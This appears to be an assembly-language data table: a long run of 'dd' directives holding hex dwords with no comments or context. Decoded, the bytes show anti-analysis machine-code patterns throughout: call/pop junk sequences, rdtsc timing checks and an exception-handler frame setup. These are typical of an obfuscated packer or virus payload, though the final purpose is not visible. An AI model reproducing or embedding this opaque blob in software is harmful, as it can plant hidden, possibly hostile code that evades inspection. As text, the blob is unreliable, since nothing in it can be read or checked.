		dd 297C74E5h, 0D3239195h, 11BD8307h, 7D333h, 467840Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0EB223C3h, 0DE8B667Fh, 3311BD83h,	0F0107D3h
		dd 45384h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1604h, 0C3514100h, 8B3E338Fh, 11BD83FBh, 307D333h, 3F0860Fh
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 3DF268C3h, 2FB18D31h, 6A6007D3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 0DF70C353h, 0D38166CCh, 8C6609BFh, 52006AD9h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0BF661549h, 0BD8B797Dh, 7D31F1Dh, 6A04E180h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 75FDC351h, 9D31AC6Ah, 7D31871h, 840FC90Ah, 12Dh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0DBC35646h, 9ADCB35Fh
		dd 4B98ECBBh, 9D8529FFh, 8B07D31Bh, 0D314C185h,	0D98B6607h
		dd 1FF18533h, 6A07D3h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 160424h, 53430000h, 0B9B7D3C3h, 31B5B589h, 0E85007D3h
		dd 5, 7305B94Ch, 12E925h, 11490000h, 0A7EE33BFh, 1B5E87B0h
		dd 0DC7FC3A6h, 0A1198EA6h, 2404895Fh, 7197BA60h, 0AE93F02h
		dd 9E000000h, 0CD8426E0h, 74D0F20Dh, 6A6139h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8BC35242h, 88AEBB46h
		dd 38682B84h, 81D7BB4Bh, 0B8C72404h, 9D092863h,	7D30385h
		dd 198195FFh, 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 0FA8BB2C3h, 4EC28589h, 5E907DCh
		dd 25000000h, 0C098ABC0h, 199E9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 3D0F029h, 0D31ED5BDh
		dd 0BA858B07h, 8B07DC4Eh, 0D31F0DBDh, 10E807h, 72F00000h
		dd 0A061D3E6h, 975C901Bh, 0BA5370A4h, 858955FBh, 7D3013Dh
		dd 1800C75Bh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 44A0C356h, 89E25E7Ch
		dd 8BD92991h, 0DC4EBEB5h, 8BD98B07h, 0D316FD85h, 50006A07h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1D04h, 0C3504000h
		dd 513BA480h, 1D594BA2h, 689BAECh, 1F11B589h, 858B07D3h
		dd 7D314C1h, 3015BD29h,	8B6607D3h, 44689FBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B8C35545h
		dd 8CBF4C1h, 2CEDBD8Bh,	509607D3h, 8C4ABF66h, 0FBB70F96h
		dd 4EBAB5FFh, 953107DCh, 7D30A11h, 0C4DD7F68h, 0DE8B663Fh
		dd 80243481h, 6A3FDBDEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 96FC356h, 2BB820AAh
		dd 661EDE22h, 8DDF07BFh, 0DC4EC285h, 0E8EBB07h,	60906824h
		dd 0E28A5250h, 0BB66310Fh, 585A8884h, 0EE85061h, 95000000h
		dd 20DA1A9Ah, 0EC3E708h, 0E6A55C5Eh, 0BA66608Ch, 8B66AF93h
		dd 905B61D6h, 12E8h, 0BE614900h, 42503990h, 0F1DFCB79h
		dd 1A58265Ch, 81A1D210h, 714EFFEFh, 95FF5F0Bh, 7D31981h
		dd 2D11B589h, 6A6107D3h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 19042444h, 46000000h, 823C356h, 7CFB0390h
		dd 34B9B589h, 85C707D3h, 7D33311h, 3, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 93C35747h, 0E35A9CCCh, 1A962ADCh
		dd 0C2BD83AEh, 7DC4Eh, 48840Fh,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0DC73E6C3h
		dd 0A0C7A35Ah, 14E9h, 68FBCF00h, 0CFE6E65Fh, 0E68ABBF8h
		dd 0DAB4037Bh, 0B371AE3Ah, 23E9CEh, 8B560000h, 0D31B399Dh
		dd 30505B07h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 0AE9C0h, 163C0000h, 34F5ECC6h, 81BF2F55h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 50C35545h
		dd 0A01C1341h, 3D08260Ch, 3311BD83h, 0F0307D3h,	41085h
		dd 99BD8B00h, 8307D31Ah, 0DC4EC2BDh, 840F0007h,	3FDh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 6AC35040h, 6563270Eh
		dd 7DBD8B3Ah, 0FF07D32Bh, 0DC4EC2B5h, 0FE8B6607h, 13E8h
		dd 0D25BA300h, 0A6B58ECAh, 64CDE575h, 270E6A1Fh, 0AF3A6563h
		dd 0EC98D01h, 0FF5B07D3h, 0D325F995h, 598D8907h, 8B07D317h
		dd 0DC4EB6B5h, 14E807h,	8C8B0000h, 4A2831EDh, 2E3F743Eh
		dd 52FE7A6Dh, 59F343E1h, 0C75FAE75h, 1000106h, 8C0F6000h
		dd 0Fh,	9E8h, 0E9DBF100h, 0A12009E5h, 0FC5A4F58h, 0FA8B9661h
		dd 8B525050h, 5A310FDAh, 9D8B9658h, 7D31CF5h, 4EC2B5FFh
		dd 0B58907DCh, 7D32A0Dh, 159195FFh, 0C78007D3h,	0B6B58BEFh
		dd 8107DC4Eh, 0C4FEFDEFh, 11858B5Ah, 6A07D303h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 8264C351h, 0C5FCEACh, 8689F957h, 0C4h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 0A6C35747h, 41DF9BF7h
		dd 41958B00h, 0E907D329h, 11h, 0E085BD42h, 8730A947h, 0B83829DEh
		dd 0DE13DB93h, 4C2839Dh, 6E9h, 0DC9C0E00h, 8917E9ADh, 858D2050h
		dd 7DC6181h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	0C0C35646h, 0A9359522h,	830F8916h, 12h,	0DE9h
		dd 72A31700h, 4B396DE7h, 72887CCEh, 8689626Eh, 0B8h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 79C35141h, 0D828BFC0h
		dd 481BF82Fh, 65B531B3h, 6A07D317h, 0B5FFF800h,	7DC4EC2h
		dd 23F9BD31h, 95FF07D3h, 7D31599h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 27C35141h, 0A7A984C2h, 5096F8C5h
		dd 296BF52h, 310F3B24h,	5B565250h, 0FE9310Fh, 0BA000000h
		dd 0A7035CBCh, 0A67A854Fh, 0C78221CCh, 585A1F69h, 9650585Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0F5C35242h
		dd 0CB5798E8h, 6810Fh, 9D8B0000h, 7D30999h, 3840Fh, 0BF0F0000h
		dd 0C2B5FFDBh, 6A07DC4Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0CAA6C353h,	0BF13AA1Ah
		dd 0EDF8005h, 26418D89h, 9D3307D3h, 7D3154Dh, 302595FFh
		dd 6A07D3h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 3E8620C3h, 455FDD98h, 0BF666261h,	51600CF4h
		dd 0A11958Bh, 0E95E07D3h, 8, 0D0F10B29h, 0F992C93Dh, 0E9BD8361h
		dd 7D316h, 1C840Fh, 81660000h, 96265AEFh, 0AE8h, 0D9AE1200h
		dd 0C5C48D54h, 5FE3B4AAh, 96EAB350h, 0B5FF0FB3h, 7DC4EC2h
		dd 121595FFh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1A0424h, 57470000h, 0AAADBC3h, 74F52C00h, 28E0Fh, 0FB8B0000h
		dd 4EC2B5FFh, 6A07DCh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0D1648FC3h, 4A2B4047h, 51F8285Fh
		dd 95CBEB81h, 0FF5F717Dh, 0D3324D95h, 0B5BD8B07h, 8307D308h
		dd 0D31341BDh, 840F0207h, 78h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 14h, 0EC35242h, 68B0Fh, 0E3810000h
		dd 389FC216h, 255D8501h, 858B07D3h, 7D3347Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 27C35141h, 0F8E7D7A6h
		dd 0C66BBAE3h, 6A0000h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 0D88B7FC3h, 65185C7h, 7D3h, 0FC530000h
		dd 0F305E95Fh, 9501FFFFh, 7D33275h, 11E9C18Bh, 0CE000000h
		dd 0F6F30A0Fh, 0CDC62914h, 0A347BAC7h, 0C6128D62h, 1C71858Dh
		dd 509007D3h, 8B90FB8Bh, 0D33139BDh, 4890F07h, 66000000h
		dd 6A370BBFh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 66BD8B9Eh, 6ADA8Bh, 0C1DB589h, 858D07D3h
		dd 7DD3D44h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 15h,	28C35242h, 0D9BD8B3Ah, 8307D31Eh, 0BB6605C0h, 8A906DABh
		dd 840F50FDh, 2, 6A90DA8Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0ED05C350h,	0DF808F10h
		dd 2B006AC4h, 0D330299Dh, 6A006A07h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 5691C350h
		dd 8BAAE3E8h, 0D331DDBDh, 39BD3307h, 0FF07D31Ch, 0D32F4D95h
		dd 0B2A8BF07h, 0BF0F5F88h, 0B08D8DDBh, 8907DC29h, 0D32D198Dh
		dd 81D1FF07h, 0A34FC1C3h, 55BD832Fh, 107D332h, 4B850Fh
		dd 0B5890000h, 7D30C5Dh, 6830Fh, 0BD8B0000h, 7D31FF5h
		dd 0BD8B026Ah, 7D31A75h, 7E950h, 0FCA50000h, 83D0918h
		dd 2404897Ah, 0EE9h, 0CFDA9300h, 442B9A2Ch, 0E988B999h
		dd 0FF46BB64h, 0D3159995h, 9D315107h, 7D301B5h,	0E3CE95Bh
		dd 0E80000h, 5D000000h,	3D4EED81h, 9D8B07DDh, 7D32C0Dh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0F0C35242h
		dd 31EDF32h, 0D317219Dh, 5C858D07h, 3107DC19h, 0D3210D85h
		dd 8B669007h, 575250D8h, 5FF88B66h, 0E960905Fh,	0Eh, 0CA00F8BEh
		dd 25FA454h, 0FEFC23D7h, 0BD8BD87Ch, 7D31799h, 35FF6461h
		dd 0
		dd 8964FA8Bh, 25h, 50006A00h, 3E8h, 0C3582000h,	24448958h
		dd 24448104h, 1904h, 0C3504000h, 5885250Fh, 8D89E7B3h
		dd 7D318EDh, 2131BD8Bh,	85FF07D3h, 7D32CCDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 15C35646h, 9D896502h
		dd 7D31C3Dh, 1E29C5BFh,	66FF6A68h, 0FF47FDBBh, 0D302D9B5h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0FFD614A5h, 0D3181995h, 138E907h, 0EE90000h
		dd 0BF000000h, 496875CBh, 7FAFBE46h, 0C69E7368h, 6600B0A4h
		dd 70E6F98Bh, 3135BD33h, 0BD8B07D3h, 7D333C9h, 613C71E4h
		dd 108830Fh, 85290000h,	7D32D9Dh, 8BC8B60Fh, 0D3089DBDh
		dd 6BA07h, 9D890000h, 7D302E1h,	14E9C18Bh, 15000000h, 7E7F151Fh
		dd 64A80CFh, 23A0D952h,	0FAF1D597h, 0C1F34E59h,	0B52904E8h
		dd 7D329ADh, 0E9E2F766h, 12h, 0B0927657h, 8370F458h, 73B43AC8h
		dd 2C57A32Ah, 0C82BD602h, 8BD8BF0Fh, 498D89D1h,	0E907D31Ah
		dd 13h,	0EE9h, 5DA15F00h, 0E7D4E15Dh, 6B56EAFh,	8BC5458Bh
		dd 0D303AD85h, 4D9D8907h, 8307D317h, 816607C0h,	83EEE7E7h
		dd 0BE6000C0h, 11EC3372h, 0C98D8Bh, 3B6107D3h, 17830FD0h
		dd 0F000000h, 686h, 81958900h, 0E907D31Fh, 4Eh,	32B59D8Bh
		dd 8D8B07D3h, 7D316E1h,	75950960h, 0B07D30Ah, 0D319F195h
		dd 8E96107h, 88000000h,	5EB00843h, 8366EA4Eh, 840F01E1h
		dd 1Eh,	83FFB70Fh, 0D316E1A5h, 8B66FE07h, 0AD9589F8h, 8B07D303h
		dd 0D320059Dh, 0E907h, 0B58D0000h, 7DCB383h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 38C35141h, 6A5D5A3Eh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1C04h
		dd 0C3514100h, 67A25589h, 39F7A4ECh, 14E99Dh, 3A2C0000h
		dd 9425FC00h, 0E5A94220h, 41C7EAC9h, 0D20EEF58h, 9D2B205Fh
		dd 7D3071Dh, 301995FFh,	816607D3h, 0B97451EBh, 7C6h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 29C35141h, 666AECEDh
		dd 0C222CB81h, 0E183CDB3h, 0B59D29FCh, 0FC07D318h, 0CAF78166h
		dd 0BAC02B1Dh, 0
		dd 7F3DCFBFh, 0C233AD54h, 0D003E8D1h, 7504E983h, 55006AF4h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0C27A19E9h, 624E4659h, 6A878Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0AB7544C3h, 4757347Fh
		dd 0D6D6BFB6h, 880D41D4h, 0F000000h, 686h, 619D8B00h, 8B07D306h
		dd 0D3294195h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 1F79FE43h, 8BF0AF29h
		dd 0D32ED5BDh, 9DBD3307h, 8B07D31Bh, 0D32BA18Dh, 4CF8107h
		dd 50707FEDh, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 75858958h, 6A07D320h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 1FFDC355h, 580E554Dh
		dd 8BDFBF0Fh, 0D321059Dh, 91BD8307h, 7D308h, 71840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 7DEBDC3h, 89F155FEh,	0D31BE5BDh, 0BD958907h,	0B807D318h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 0F4C35545h
		dd 8168DB80h, 995D4BD7h, 0B18D8D27h, 8907D34Dh,	0D31B399Dh
		dd 0FE1FF07h, 68Dh, 59BD0900h, 8307D317h, 0D33311BDh, 840F0007h
		dd 49Eh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	62C35646h, 0C065E11Ch, 2BD81EBh, 2135BD8Bh, 0BD8307D3h
		dd 7D33311h, 82840F01h,	0E9000004h, 0Dh, 0D07E66C5h, 56FECC0h
		dd 43D4AD69h, 11BD8374h, 307D333h, 42D860Fh, 81660000h
		dd 609DD5C3h, 8C66FB8Bh, 57006AD9h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 111A3B97h, 0EF32E06Ah
		dd 9D8BCCD8h, 7D32545h,	6A04E180h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 0BD48C356h
		dd 0B0301CC3h, 0C79F6096h, 1F9BD8Bh, 0C90A07D3h, 16A840Fh
		dd 0BD890000h, 7D30C0Dh, 14C1858Bh, 0BD8B07D3h,	7D3307Dh
		dd 1FF18533h, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 42F787C3h, 0D1BD8B66h, 8907D331h
		dd 0D31FFD8Dh, 0BB665007h, 4897C8Ah, 50006A24h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 4C705737h
		dd 8BAD5439h, 0D32065BDh, 60006A07h, 18699589h,	8D8907D3h
		dd 7D30109h, 4E861h, 3FF0000h, 8B66001Fh, 0BB6650DFh, 448BA26Eh
		dd 0BF660424h, 8B29A7h,	11E9h, 8D055B00h, 0A752DCEBh, 256D5BE4h
		dd 0A661A1BBh, 44893779h, 6E90424h, 0AC000000h,	39CA8F57h
		dd 6A586Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 8A1479C3h, 3CAF2519h, 8195FFB0h, 6A07D319h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 15042444h
		dd 45000000h, 0E670C355h, 33819D23h, 0B5207D3h,	0D326219Dh
		dd 85895F07h, 7DC4EC2h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0BBC35747h, 899E6B7Dh, 0D323D595h, 1BEE907h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0BD89A6C3h, 7D30111h, 4EBA858Bh, 6A07DCh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0F5566BC3h, 1800C7h,	6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0EF0D78C3h, 0DC014AADh
		dd 802BCE00h, 0B58BCDC3h, 7DC4EBEh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0CAC35040h,	8B66D8EEh, 0FD858BDAh
		dd 6A07D316h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 180BC355h, 6687BEEEh, 689DA8Bh
		dd 94F86CBBh, 8E929h, 0FFDA0000h, 63A4687Ah, 858BD490h
		dd 7D314C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	24C35545h, 0E8F87248h, 0Ch, 7610BEE1h, 21692195h
		dd 0EB5E57F5h, 0C6DB589h, 895F07D3h, 8D890446h,	7D31CD9h
		dd 88D0F50h, 53000000h,	8D0Fh, 895B0000h, 6A2434h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 0A8E346C3h, 6BABF66h, 4EBAB5FFh, 0EF6807DCh,	0E8A28498h
		dd 9, 0A44FE0FDh, 0E397F1E8h, 43BF660Bh, 4815FE1h, 9A6B1024h
		dd 85B5895Dh, 6607D30Ch, 858DFE8Bh, 7DC4EC2h, 23FDCF81h
		dd 0E38025FAh, 8B66506Eh, 240489DAh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0BAC35747h,	0A683E6A2h, 95FFD88Bh
		dd 7D31981h, 52006A61h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 84D87714h, 0D781660Fh, 85C71DA4h
		dd 7D33311h, 3,	4870Fh,	0BF660000h, 0BD837133h,	7DC4EC2h
		dd 74840F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 55C5C350h, 78EC9BD6h
		dd 29E9BD2Bh, 63E907D3h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F278C350h
		dd 0D99D01ADh, 0E807D332h, 0Dh,	0F4F229C8h, 0F440122h
		dd 812F3720h, 0AE819h, 35EF0000h, 0DC0ABEFBh, 58443C43h
		dd 505F5FFCh, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 97DE1C3h, 5B589F9h, 0FC07D326h
		dd 3311BD83h, 0F0307D3h, 4AE85h, 83F88B00h, 0DC4EC2BDh
		dd 840F0007h, 49Fh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 93C35545h, 776FCEFCh,	0E92B6ECDh, 0Dh
		dd 298EF69Dh, 3B62F988h, 13A3C627h, 0F18D89C6h,	107D317h
		dd 0D3197D85h, 0C2B5FF07h, 6A07DC4Eh, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 5C9EC353h
		dd 8B530EE5h, 95FF5FF8h, 7D325F9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 4DC35343h, 80DF82C9h, 0B58B47CBh
		dd 7DC4EB6h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 19h,	53C35040h, 5FC92061h, 12E991h, 0BC510000h, 0C484AFBDh
		dd 85FEB712h, 0A0D618A3h, 30D11746h, 31B58952h,	5F07D32Fh
		dd 68A0Fh, 0BD890000h, 7D31BCDh, 106C7h, 6A0001h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 3165A6C3h, 0D300458Dh, 0FB8B9607h, 0C9BB5050h, 5B0AAC0Fh
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C2241F1h, 8B1F9F28h, 0D3255D9Dh, 0C2B5FF07h
		dd 6A07DC4Eh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 235AC352h, 9243111h, 0D32695B5h
		dd 14E907h, 0F1B60000h,	0E19AC295h, 560F4AFBh, 16361B0Eh
		dd 0AF902448h, 95FF7A31h, 7D31591h, 0E855006Ah,	3, 5DC35D20h
		dd 4246C89h, 4244481h, 17h, 44C35545h, 664008F3h, 0D6D5C781h
		dd 0CE9h, 32DC4B00h, 0B3D0C713h, 0DB1E4C7Fh, 0B6B58BBCh
		dd 107DC4Eh, 0D30A959Dh, 11858B07h, 8907D303h, 0C486h
		dd 9D950100h, 8B07D325h, 0D3294195h, 29BD2907h,	8307D327h
		dd 6A04C2h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 644986C3h, 5176041Bh, 0FE8B66D7h,	60205089h
		dd 57AA35BEh, 7E830h, 966D0000h, 597537Bh, 0C9958981h
		dd 5E07D31Ah, 81858D61h, 6A07DC61h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 5615C353h
		dd 0A09A9B94h, 70BABF1Ah, 800F5B3Dh, 0Ch, 68D0Fh, 95890000h
		dd 7D33399h, 0B88689h, 0F600000h, 684h,	4DBD8B00h, 6607D300h
		dd 6A61D98Bh, 59B58900h, 0FF07D31Bh, 0DC4EC2B5h, 14E807h
		dd 0F3C50000h
		dd 679CE7BBh, 14697A36h, 0EA22BF7Ah, 4C9D8E62h,	8B66FDB4h
		dd 95FF5BD8h, 7D31599h,	31959D01h, 0BB9607D3h, 0FA1042Ch
		dd 0DE850h, 0C3BD0000h,	96B0301Ch, 0FCC79F60h, 0E903B922h
		dd 11h,	66C498DFh, 0ADEB7C1Fh, 59BDAECEh, 54C7874Fh, 1965BA3h
		dd 0D30D0595h, 0C2B5FF07h, 0F07DC4Eh, 684h, 11858900h
		dd 0FF07D30Ah, 0D3302595h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0D1BF7F5Ch
		dd 0E9BD8328h, 7D316h, 62840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E08E8FC3h
		dd 752FEBF6h, 96DA8A24h, 4830Fh, 0BB660000h, 0F50EBCBh
		dd 485h, 0D3BB6600h, 6A9645h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 0CCF0F5C3h, 0BD8BA0CBh
		dd 7D32721h, 4EC2B5FFh,	9D0907DCh, 7D30329h, 7619D0Bh
		dd 95FF07D3h, 7D31215h,	0EE952h, 87060000h, 0E52AC544h
		dd 0BF83750Ch, 94E19DB5h, 0AE95Fh, 0A3390000h, 0A0910E2Ch
		dd 0E7BC936Bh, 4EC2B5FFh, 6A07DCh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 150424h, 50400000h, 60D004C3h, 7E9h, 84D35B00h
		dd 0B4D13398h, 4D95FF61h, 0BF07D332h, 1590821Ch, 1341BD83h
		dd 0F0207D3h, 6A84h, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 6189128Eh, 858B397Eh
		dd 7D3347Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 16h,	65C35747h, 9D899FE9h, 7D30801h,	3810F60h, 66000000h
		dd 0F60D18Bh, 9D89F1BFh, 7D3067Dh, 0C66161h, 0DFEF8100h
		dd 0C732B2E2h, 0D3065185h, 7, 0C3D38100h, 665CA7A9h, 0E92852BFh
		dd 0FFFFF2A5h, 0C18BFE8Bh, 0C85BD89h, 858D07D3h, 7D31C71h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0A4C35242h
		dd 86B70793h, 0F2D2BF90h, 8B507163h, 0DE890DAh,	55000000h
		dd 972C7A4Bh, 0E02A5EB4h, 0A08A25F2h, 8B006A5Fh, 0D309D59Dh
		dd 81006A07h, 0D9E49AC3h, 0B0858D66h, 6A07DD4Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0BB80C351h, 758B56B2h, 14E828h, 74610000h, 0CED81118h
		dd 66F3FAF3h, 0A12F574Ch, 57389E0Dh, 7E9BEEBh, 0A4000000h
		dd 88E1491Dh, 835BB0A1h, 6A05C0h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 827FC9C3h, 14E9h, 0D5997800h
		dd 50524743h, 4DA4D2A5h, 0B929317Ch, 0FEA30378h, 0DE850D9h
		dd 0F4000000h, 0EE70D60h, 71490D5Ah, 41EEA554h,	7E8h, 0E3FF9900h
		dd 76303233h, 4895F5Fh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 0F85C6390h, 0F87069BEh
		dd 13E9h, 0A86F7900h, 6D19C2BAh, 0B5E6FCEBh, 0BA4E2E8Eh
		dd 76508D28h, 0BD89006Ah, 7D30205h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F09F73C3h
		dd 0C29D5CB6h, 81294BD2h, 1A590DD3h, 68F0F0Ch, 8B000000h
		dd 0D32FD5BDh, 4D95FF07h, 6A07D32Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0E2CC353h
		dd 8B60A091h, 75BD0BCAh, 6107D32Bh, 29B08D8Dh, 9D8907DCh
		dd 7D30669h, 0B472F381h, 0D1FF7016h, 2218D31h, 0BD8307D3h
		dd 7D33255h, 5A850F01h,	6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 6F65C352h
		dd 0BD72B164h, 667EFBF5h, 819408BBh, 4CDE03C7h,	9026A3Ah
		dd 0D30EF995h, 56579007h, 66505F5Bh, 90D23ABBh,	3491BD89h
		dd 9D2307D3h, 7D31961h,	159995FFh, 8BF907D3h, 0D325D1BDh
		dd 0CDFE907h, 0E80000h,	5D000000h, 4DBAED81h, 0BF0F07DDh
		dd 5C858DF8h, 8B07DC19h, 0D327819Dh, 11B35007h,	89240489h
		dd 0D31721B5h, 35FF6407h, 0
		dd 6850Fh, 0BD230000h, 7D30395h, 258964h, 66000000h, 85FFFB8Bh
		dd 7D32CCDh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	69C35747h, 59132C76h, 6AFF6AF5h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 0B187C355h
		dd 0DF81B833h, 41821469h, 14E9h, 44BAF200h, 0E050A7CEh
		dd 0FD744458h, 0D18B1270h, 74A2B0DCh, 0B5FFFCC3h, 7D32DC9h
		dd 0C1843CBFh, 1995FF2Dh, 0E907D318h, 140h, 0E800B0F9h
